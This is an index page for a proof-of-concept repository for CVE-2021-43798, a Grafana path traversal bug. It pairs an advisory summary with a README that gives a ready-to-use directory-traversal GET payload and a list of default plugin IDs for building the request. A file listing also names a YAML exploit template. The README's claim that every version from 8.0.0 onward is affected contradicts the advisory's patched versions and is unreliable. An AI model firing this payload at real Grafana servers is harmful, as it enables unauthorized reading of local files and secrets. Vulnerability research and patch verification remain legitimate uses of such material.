CVE-2021-43798 PoC — Grafana path traversal

Source

https://github.com/JiuBanSec/Grafana-CVE-2021-43798

Associated Vulnerability

Title:Grafana path traversal (CVE-2021-43798)
Description:Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: `<grafana_host_url>/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline.

Description

Grafana File-Read Vuln

Readme

# Grafana-CVE-2021-43798
Grafana File-Read    影响版本：8.0.0-lastest

![图片](https://user-images.githubusercontent.com/57030243/145164498-511a297f-f26a-4517-a2b4-0fd2e22ae95d.png)

# Poc-http-get 
/public/plugins/{plugins-lst}/../../../../../../../../{filename}
# Default plugins-lst
```
alertlist
annolist
grafana-azure-monitor-datasource
barchart
bargauge
cloudwatch
dashlist
elasticsearch
gauge
geomap
gettingstarted
stackdriver
graph
graphite
heatmap
histogram
influxdb
jaeger
logs
loki
mssql
mysql
news
nodeGraph
opentsdb
piechart
pluginlist
postgres
prometheus
stat
state-timeline
status-history
table
table-old
tempo
testdata
text
timeseries
welcome
zipkin
```

File Snapshot


 [4.0K]  /data/pocs/a4e57bcfffd3eb17043359977f5e5b31fca67776
├── [2.1K]  CVE-2021-43798.yaml
└── [ 677]  README.md

0 directories, 2 files

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